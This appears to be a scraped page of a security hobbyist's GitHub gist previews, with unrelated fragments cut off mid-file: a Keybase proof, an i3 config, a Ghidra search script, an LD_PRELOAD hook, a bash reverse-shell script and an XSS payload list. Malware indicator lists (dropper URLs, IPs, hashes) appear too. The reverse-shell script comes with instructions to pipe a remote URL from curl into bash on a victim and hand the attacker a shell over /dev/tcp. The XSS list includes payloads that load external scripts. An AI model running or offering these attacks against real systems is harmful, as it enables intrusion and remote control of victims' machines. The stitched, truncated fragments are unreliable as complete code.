I hereby claim:
- I am mellow-hype on github.
- I am hypr_ (https://keybase.io/hypr_) on keybase.
- I have a public key ASDSUedGZsdyUfNKlI43aucXBBGNb-xvb5m8NrEpXi1RuQo
To claim this, I am signing this object:
Content-Type: application/html | |
X-Other-Header: HYPRDUDE | |
<?php phpinfo(); /><html><script>alert(1)</script></html> |
I hereby claim:
To claim this, I am signing this object:
# i3 config file (v4) | |
# | |
# Please see https://i3wm.org/docs/userguide.html for a complete reference! | |
set $mod Mod4 | |
# Font for window titles. Will also be used by the bar unless a different font | |
# is used in the bar {} block below. | |
font pango:monospace 8 |
#!/usr/bin/env bash | |
# -- search for specific strings in the output of ghidra decompiler for a | |
# -- specific target binary. | |
# -- | |
# -- ghidra script from: https://github.com/0xdea/ghidra-scripts | |
# --------------------------------------------------------------------------- | |
# update this to point to the location where ghidra is installed | |
GHIDRA_PATH="$HOME/tools/ghidra_10.1.4" | |
# update this to point to the location where the ghidra-scripts repo was downloaded |
/* | |
* Hook main() using LD_PRELOAD, because why not? | |
* Obviously, this code is not portable. Use at your own risk. | |
* | |
* Compile using 'gcc hax.c -o hax.so -fPIC -shared -ldl' | |
* Then run your program as 'LD_PRELOAD=$PWD/hax.so ./a.out' | |
*/ | |
#define _GNU_SOURCE | |
#include <stdio.h> |
#define _GNU_SOURCE | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <stdarg.h> | |
#include <stdbool.h> | |
#include <stddef.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> |
#!/usr/bin/env bash | |
# attacker listens using `nc -nvl 8080` | |
# `curl -Ls https://git.io/fhZJy | bash -s <attacker-ip> 80` on victim | |
attacker_ip=$1 | |
attacker_port=$2 | |
exec 5<>/dev/tcp/$attacker_ip/$attacker_port | |
cat <&5 | while read line; do $line 2>&5 >&5; done |
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
Dropper URIs: | |
hxxp://atitmedia.com/RIVTDJLDUW6513072/ | |
hxxps://clickonchris.com/Invoice-434244/ | |
IOC: | |
hxxp://ohleronline.com/ | |
hxxp://olsondesign.com.au | |
Hashes | |
191f9916be26e478d86a28aeddd88f8ed8e31f97 |
**IPs** | |
84.200.16.242 | |
111.90.139.247 | |
185.165.29.78 | |
95.141.115.108 | |
**filenames** | |
myguy.xls | |
myguy.exe | |
carved_0.xls |